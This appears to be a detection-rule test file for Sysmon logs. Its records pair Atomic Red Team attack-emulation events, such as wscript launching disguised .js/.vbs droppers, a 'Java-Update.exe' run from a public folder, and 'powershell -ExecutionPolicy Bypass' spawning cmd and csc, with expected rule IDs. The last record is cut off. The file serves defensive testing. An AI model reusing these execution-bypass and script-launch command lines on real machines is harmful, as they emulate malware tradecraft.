\\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\\\\\\\\\TransBaseOdbcDriver\\\\\\\\\\\\\\\\TransBaseOdbcDriver.js\\\\\\\"\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\Downloads\\\\\\\\\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\",\"logonGuid\":\"{4dc16835-596f-6089-d6a0-040000000000}\",\"logonId\":\"0x4a0d6\",\"terminalSessionId\":\"1\",\"integrityLevel\":\"High\",\"hashes\":\"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\",\"parentProcessGuid\":\"{4dc16835-c18b-6089-a203-000000002e00}\",\"parentProcessId\":\"648\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WScript.exe\\\\\\\" \\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\starter.vbs\\\\\\\"\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\" /k wscript.exe \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\\\\\TransBaseOdbcDriver\\\\\\\\TransBaseOdbcDriver.js\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-596f-6089-d6a0-040000000000}", "win.eventdata.logonId": "0x4a0d6", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\starter.vbs\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\wscript.exe", "win.eventdata.parentProcessGuid": "{4dc16835-c18b-6089-a203-000000002e00}", "win.eventdata.parentProcessId": "648", "win.eventdata.processGuid": "{4dc16835-c18b-6089-a303-000000002e00}", "win.eventdata.processId": "5256", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.003,technique_name=Windows Command Shell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-04-28 20:11:55.529", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "1", "win.system.eventRecordID": "144512", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2204", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-04-28T20:11:55.5366909Z", "win.system.task": "1", "win.system.threadID": "3300", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92002", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Scripting interpreter spawned Windows command shell instance"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.exe\",\"parentProcessGuid\":\"{4dc16835-c209-60f1-b8ad-120000000000}\",\"logonGuid\":\"{4dc16835-c1eb-60f1-688d-0c0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WScript.exe\\\\\\\" \\\\\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.vbs\\\\\\\"\",\"processGuid\":\"{4dc16835-c20a-60f1-700e-130000000000}\",\"logonId\":\"0xc8d68\",\"parentProcessId\":\"1816\",\"processId\":\"2376\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-16 17:29:46.687\",\"hashes\":\"SHA1=28552B021D7B5AAEADB1EFAEF131D27163E14C40,MD5=4E73669498619133E45027923A37D96F,SHA256=E89C55EFD53017B4BD2C9754399D8FF02DE6BC8D1014D8684B75D180381F0EEC,IMPHASH=D9B720999365740321DA784FA1B54067\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\",\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update.exe\\\\\\\"\",\"integrityLevel\":\"Medium\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-07-16 17:29:46.687\\r\\nProcessGuid: {4dc16835-c20a-60f1-700e-130000000000}\\r\\nProcessId: 2376\\r\\nImage: C:\\\\Users\\\\Public\\\\Java-Update.exe\\r\\nFileVersion: -\\r\\nDescription: -\\r\\nProduct: -\\r\\nCompany: -\\r\\nOriginalFileName: -\\r\\nCommandLine: \\\"C:\\\\Users\\\\Public\\\\Java-Update.exe\\\" \\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-c1eb-60f1-688d-0c0000000000}\\r\\nLogonId: 0xC8D68\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=28552B021D7B5AAEADB1EFAEF131D27163E14C40,MD5=4E73669498619133E45027923A37D96F,SHA256=E89C55EFD53017B4BD2C9754399D8FF02DE6BC8D1014D8684B75D180381F0EEC,IMPHASH=D9B720999365740321DA784FA1B54067\\r\\nParentProcessGuid: {4dc16835-c209-60f1-b8ad-120000000000}\\r\\nParentProcessId: 1816\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\wscript.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\Public\\\\Java-Update.vbs\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-16T17:29:46.7996246Z\",\"eventRecordID\":\"33700\",\"threadID\":\"2520\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2476\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Users\\\\Public\\\\Java-Update.exe\\\"", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.hashes": "SHA1=28552B021D7B5AAEADB1EFAEF131D27163E14C40,MD5=4E73669498619133E45027923A37D96F,SHA256=E89C55EFD53017B4BD2C9754399D8FF02DE6BC8D1014D8684B75D180381F0EEC,IMPHASH=D9B720999365740321DA784FA1B54067", "win.eventdata.image": "C:\\\\Users\\\\Public\\\\Java-Update.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-c1eb-60f1-688d-0c0000000000}", "win.eventdata.logonId": "0xc8d68", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WScript.exe\\\" \\\"C:\\\\Users\\\\Public\\\\Java-Update.vbs\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\wscript.exe", "win.eventdata.parentProcessGuid": "{4dc16835-c209-60f1-b8ad-120000000000}", "win.eventdata.parentProcessId": "1816", "win.eventdata.processGuid": "{4dc16835-c20a-60f1-700e-130000000000}", "win.eventdata.processId": "2376", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-16 17:29:46.687", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "33700", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2476", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-16T17:29:46.7996246Z", "win.system.task": "1", "win.system.threadID": "2520", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.currentDirectory", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92003", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Scripting interpreter spawned a process from a suspicious path"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"Cmd.Exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-3136-609c-2c01-000000003b00}\",\"description\":\"Windows Command Processor\",\"logonGuid\":\"{4dc16835-2e5f-609c-19a4-7c0000000000}\",\"parentCommandLine\":\"powershell -ExecutionPolicy Bypass -NoExit .\\\\\\\\meta.ps1\",\"processGuid\":\"{4dc16835-3bdd-609c-5901-000000003b00}\",\"logonId\":\"0x7ca419\",\"parentProcessId\":\"1488\",\"processId\":\"5560\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2021-05-12 20:34:37.091\",\"hashes\":\"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"ruleName\":\"technique_id=T1059.003,technique_name=Windows Command Shell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.003,technique_name=Windows Command Shell\\r\\nUtcTime: 2021-05-12 20:34:37.091\\r\\nProcessGuid: {4dc16835-3bdd-609c-5901-000000003b00}\\r\\nProcessId: 5560\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: C:\\\\Windows\\\\system32\\\\cmd.exe\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-2e5f-609c-19a4-7c0000000000}\\r\\nLogonId: 0x7CA419\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {4dc16835-3136-609c-2c01-000000003b00}\\r\\nParentProcessId: 1488\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1\\\"\",\"version\":\"5\",\"systemTime\":\"2021-05-12T20:34:37.0992054Z\",\"eventRecordID\":\"199321\",\"threadID\":\"3320\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2080\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\system32\\\\cmd.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-2e5f-609c-19a4-7c0000000000}", "win.eventdata.logonId": "0x7ca419", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{4dc16835-3136-609c-2c01-000000003b00}", "win.eventdata.parentProcessId": "1488", "win.eventdata.processGuid": "{4dc16835-3bdd-609c-5901-000000003b00}", "win.eventdata.processId": "5560", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.003,technique_name=Windows Command Shell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-05-12 20:34:37.091", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "199321", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2080", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-05-12T20:34:37.0992054Z", "win.system.task": "1", "win.system.threadID": "3320", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92004", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell process spawned Windows command shell instance"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"1\",\"version\":\"5\",\"level\":\"4\",\"task\":\"1\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2021-04-28T20:11:55.6337382Z\",\"eventRecordID\":\"144514\",\"processID\":\"2204\",\"threadID\":\"3300\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"DESKTOP-2QKFOBA\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-04-28 20:11:55.619\\r\\nProcessGuid: {4dc16835-c18b-6089-a503-000000002e00}\\r\\nProcessId: 2488\\r\\nImage: C:\\\\Windows\\\\System32\\\\wscript.exe\\r\\nFileVersion: 5.812.10240.16384\\r\\nDescription: Microsoft ® Windows Based Script Host\\r\\nProduct: Microsoft ® Windows Script Host\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: wscript.exe\\r\\nCommandLine: wscript.exe \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\\\\\TransBaseOdbcDriver\\\\\\\\TransBaseOdbcDriver.js\\\"\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nLogonGuid: {4dc16835-596f-6089-d6a0-040000000000}\\r\\nLogonId: 0x4A0D6\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C\\r\\nParentProcessGuid: {4dc16835-c18b-6089-a303-000000002e00}\\r\\nParentProcessId: 5256\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\" /k wscript.exe \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\\\\\TransBaseOdbcDriver\\\\\\\\TransBaseOdbcDriver.js\\\"\\\"\"},\"eventdata\":{\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"utcTime\":\"2021-04-28 20:11:55.619\",\"processGuid\":\"{4dc16835-c18b-6089-a503-000000002e00}\",\"processId\":\"2488\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\",\"fileVersion\":\"5.812.10240.16384\",\"description\":\"Microsoft ® Windows Based Script Host\",\"product\":\"Microsoft ® Windows Script Host\",\"company\":\"Microsoft Corporation\",\"originalFileName\":\"wscript.exe\",\"commandLine\":\"wscript.exe \\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\\\\\\\\\TransBaseOdbcDriver\\\\\\\\\\\\\\\\TransBaseOdbcDriver.js\\\\\\\"\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\Downloads\\\\\\\\\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\",\"logonGuid\":\"{4dc16835-596f-6089-d6a0-040000000000}\",\"logonId\":\"0x4a0d6\",\"terminalSessionId\":\"1\",\"integrityLevel\":\"High\",\"hashes\":\"SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C\",\"parentProcessGuid\":\"{4dc16835-c18b-6089-a303-000000002e00}\",\"parentProcessId\":\"5256\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\\\\\" /k wscript.exe \\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRedTeamTest\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\\\\\\\\\TransBaseOdbcDriver\\\\\\\\\\\\\\\\TransBaseOdbcDriver.js\\\\\\\"\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "wscript.exe \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\\\\\TransBaseOdbcDriver\\\\\\\\TransBaseOdbcDriver.js\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRedTeamTest\\\\Downloads\\\\", "win.eventdata.description": "Microsoft ® Windows Based Script Host", "win.eventdata.fileVersion": "5.812.10240.16384", "win.eventdata.hashes": "SHA1=545EC11DEE642DE633EB2C6F6FFC90CCE4DECF8D,MD5=0639B0A6F69B3265C1E42227D650B7D1,SHA256=CE9F70E104C07D92FC05FBD6000839FD6A87FF010E706396F87DD679244ED97B,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wscript.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-596f-6089-d6a0-040000000000}", "win.eventdata.logonId": "0x4a0d6", "win.eventdata.originalFileName": "wscript.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\" /k wscript.exe \\\"C:\\\\Users\\\\AtomicRedTeamTest\\\\AppData\\\\Roaming\\\\\\\\TransBaseOdbcDriver\\\\\\\\TransBaseOdbcDriver.js\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-c18b-6089-a303-000000002e00}", "win.eventdata.parentProcessId": "5256", "win.eventdata.processGuid": "{4dc16835-c18b-6089-a503-000000002e00}", "win.eventdata.processId": "2488", "win.eventdata.product": "Microsoft ® Windows Script Host", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-04-28 20:11:55.619", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "1", "win.system.eventRecordID": "144514", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2204", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-04-28T20:11:55.6337382Z", "win.system.task": "1", "win.system.threadID": "3300", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92005", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Command shell started script with /c modifier"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"csc.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\Microsoft.NET\\\\\\\\Framework64\\\\\\\\v4.0.30319\\\\\\\\csc.exe\",\"product\":\"Microsoft® .NET Framework\",\"parentProcessGuid\":\"{4dc16835-5bcf-6091-b801-000000003500}\",\"description\":\"Visual C# Command Line Compiler\",\"logonGuid\":\"{4dc16835-5948-6091-2f18-2d0000000000}\",\"parentCommandLine\":\"powershell -ExecutionPolicy Bypass -NoExit .\\\\\\\\meta.ps1\",\"processGuid\":\"{4dc16835-5bd1-6091-b901-000000003500}\",\"logonId\":\"0x2d182f\",\"parentProcessId\":\"5912\",\"processId\":\"5124\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2021-05-04 14:36:01.555\",\"hashes\":\"SHA1=528973416456C780051889CA1709510B6BF73370,MD5=F65B029562077B648A6A5F6A1AA76A66,SHA256=4A6D0864E19C0368A47217C129B075DDDF61A6A262388F9D21045D82F3423ED7,IMPHASH=EE1E569AD02AA1F7AECA80AC0601D80D\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"ruleName\":\"technique_id=T1127,technique_name=Trusted Developer Utilities Proxy Execution\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\Microsoft.NET\\\\\\\\Framework64\\\\\\\\v4.0.30319\\\\\\\\csc.exe\\\\\\\" /noconfig /fullpaths @\\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\bspmrlpb.cmdline\\\\\\\"\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"4.8.4084.0 built by: NET48REL1\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1127,technique_name=Trusted Developer Utilities Proxy Execution\\r\\nUtcTime: 2021-05-04 14:36:01.555\\r\\nProcessGuid: {4dc16835-5bd1-6091-b901-000000003500}\\r\\nProcessId: 5124\\r\\nImage: C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\csc.exe\\r\\nFileVersion: 4.8.4084.0 built by: NET48REL1\\r\\nDescription: Visual C# Command Line Compiler\\r\\nProduct: Microsoft® .NET Framework\\r\\nCompany: Microsoft 